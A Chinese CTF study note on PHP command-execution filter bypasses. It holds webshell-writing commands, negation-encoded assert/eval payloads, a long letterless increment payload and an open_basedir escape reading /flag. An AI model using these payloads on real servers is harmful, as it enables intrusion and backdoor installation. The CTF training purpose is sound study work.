RCE绕过各种骚
eval()函数
首先它是一个命令
执行函数,只能执行php代码.而非执行系统命令!并且执行合法的php代码时以;
结尾
1 |
|
system()
是php里执行系统命令的函数.反引号 `ls`
相当于system(‘ls’);
当没有回显且system函数被ban且`
明显可以使用时;
可以利用eval->var_dump_(`cat XX`
) ps:这里的var_dump可以替换成print_r这些php打印变量的函数.
一、绕过
空格绕过
1 | < 、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}、$IFS等 |
关键字过滤,黑名单绕过(比如flag字符)
如果没过滤
\
的话但是又过滤了一些其他的关键字造成无法读取文件可以利用
f\lag
拼接出关键字
例题:MoeCTF 2021]babyRCE | NSSCTF
-
- a=fl;b=ag;cat $a$$b$
-
- 用
.
连接,(sy.(st).em)
- 用
-
-
使用内敛执行代替system
echo
`ls`
echo $(ls);
?><?=
ls
;?><?=$(ls);
=`ls /`;?># 以上语句皆等效于
-
编码绕过
1 | 1.base64编码绕过 |
利用单双引号绕过关键字过滤
ca‘‘t flag 或ca""t flag
这里是两个单引号和两个双引号
二、代码执行
本来eval()的括号里面如果是$_REQUEST[a],那就是代码执行
但是如果是echo
$_REQUEST[a]
那就是命令执行
linux 查看文件命令:
cat、tac、more、less、head、tail、nl、sed、sort、uniq
1 | 举例 |
通过命令行写入webshell
linux:
1 | echo “ eval(@\$_POST['pass']); ” > shell.php; |
十六进制写法
1 | echo 3c3f7068706576616c2840245f504f53545b2270617373225d293b3f3e|xxd -r -ps > webshell.php |
windows:
1 | “echo ^ eval($_POST[pass]); ?^> > shell.php” |
无字符RCE
题目:[ISITDTU 2019]EasyPHP
-
取反绕过
脚本:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//在命令行中运行
/*author yu22x*/
fwrite(STDOUT,'[+]your function: ');
$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
fwrite(STDOUT,'[+]your command: ');
$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
//(~%8F%97%8F%96%91%99%90)();->phpinfo()注意:那么疑问来了,为什么不能直接执行
phpinfo()
呢?- 当
(~%8F%97%8F%96%91%99%90%D7%D6);
被当作代码执行时的第一步就是取反操作~
- 但是取反得到的字符串
phpinfo()
并不会被当作代码执行,因为在取反之前PHP解释器并不知道这原来是phpinfo()
- 对于已知过滤条件,想要执行我们指定的代码,必须有
(func_name)()
这样的形式.也即(phpinfo
)();
如何连接后门:
若构造:
1
2
3?code=(~%DB%A0%AF%B0%AC%AB%A4%8C%97%9A%93%93%A2);
# %DB%A0%AF%B0%AC%AB%A4%8C%97%9A%93%93%A2 : $_POST[shell]
//与上面是同理的 取反后$_POST[shell]只是简单的字符串,并不能起什么作用以
(func_name)()
这样的形式,去执行("assert")("$_POST[shell]")
构造payload:同样也是执行失败
- 第一层eval:首先
(~%9E%8C%8C%9A%8D%8B)(~%DB%A0%AF%B0%AC%AB%A4%8C%97%9A%93%93%A2);
先会执行取反函数,得到("assert")("$_POST[shell]")
- 第二层assert:注意第二个括号里其实还是字符串,并不是真正的
$_POST[shell]
代码。PHP在解释的时候会找到名为assert的函数,assert会把$_POST[shell]
变成真正的PHP代码。也就是说现在可以传参过来了,但是却没有执行。
那么要想要执行
$_POST[shell]
,还要在在前面追加一个eval
:1
2
3
4?code=(~%9E%8C%8C%9A%8D%8B)(~%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%8C%97%9A%93%93%A2%D6);
# %9E%8C%8C%9A%8D%8B : assert
# %9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%8C%97%9A%93%93%A2%D6 : eval($_POST[shell])执行过程:
- 第一层eval:首先
(~%9E%8C%8C%9A%8D%8B)(~%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%8C%97%9A%93%93%A2%D6);
先会执行取反函数,得到("assert")("eval($_POST[shell])")
- 第二层assert:将字符串
"eval($_POST[shell])"
看作php代码执行 - 第三层eval:将
$_POST[shell]
传来的数据看作代码执行
- 当
例题:
1 |
|
题目中已有eval()
.正常执行我们需要传入system(‘ls’)这种命令即可.(本题是system(‘cat /f*’)
)
利用url编码脚本.传入以下值:
无回显RCE
有时候碰到一些命令函数,比如exec执行是没有回显的,就可以采用使用重定向输出到文件,再查看文件内容的办法
1 | url=l\s / | tee 1.txt |
例题:
1 |
|
此题可以利用Payload:url=tac /f\lllll\aaaaaaggggggg | tee 3.txt
再访问3.txt
即可
或者单引号绕过cat也行:?url=ca''t /f\lllll\aaaaaaggggggg | tee 4.txt
回溯绕过正则
⽆字⺟数字shell
-
自增绕过
payload
1
2
3
4
5
6%24%5f%3d%5b%5d%3b%24%5f%3d%40%22%24%5f%22%3b%24%5f%3d%24%5f%5b%27%21%27%3d%3d%27%40%27%5d%3b%24%5f%5f%5f%3d%24%5f%3b%24%5f%5f%3d%24%5f%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%5f%2e%3d%24%5f%5f%3b%24%5f%5f%5f%2e%3d%24%5f%5f%3b%24%5f%5f%3d%24%5f%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%5f%2e%3d%24%5f%5f%3b%24%5f%5f%3d%24%5f%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%5f%2e%3d%24%5f%5f%3b%24%5f%5f%3d%24%5f%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%5f%2e%3d%24%5f%5f%3b%24%5f%5f%5f%5f%3d%27%5f%27%3b%24%5f%5f%3d%24%5f%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%5f%5f%2e%3d%24%5f%5f%3b%24%5f%5f%3d%24%5f%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%5f%5f%2e%3d%24%5f%5f%3b%24%5f%5f%3d%24%5f%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%5f%5f%2e%3d%24%5f%5f%3b%24%5f%5f%3d%24%5f%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%5f%5f%2e%3d%24%5f%5f%3b%24%5f%3d%24%24%5f%5f%5f%5f%3b%24%5f%5f%5f%28%24%5f%5b%5f%5d%29%3b
2.POST传入:_=file_put_contents('1.php',"<?php print_r(ini_get('open_basedir').'<br>'); mkdir('test'); chdir('test'); ini_set('open_basedir','..'); chdir('..'); chdir('..'); chdir('..'); ini_set('open_basedir','/'); echo file_get_contents('/flag'); print(1);?> ");
3.访问1.php -
异或绕过
待补充~
无参数RCE绕过的详细总结(六种方法)
特征:
1 | if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['star'])) { |
分析:
正则表达式 [^\W]+\((?R)?\)
匹配了一个或多个非标点符号字符(表示函数名),后跟一个括号(表示函数调用)。其中 (?R)
是递归引用,它只能匹配和替换嵌套的函数调用,而不能处理函数参数。使用该正则表达式进行替换后,每个函数调用都会被删除,只剩下一个分号 ;
,而最终结果强等于;时,payload才能进行下一步。简而言之,无参数rce就是不使用参数,而只使用一个个函数最终达到目的。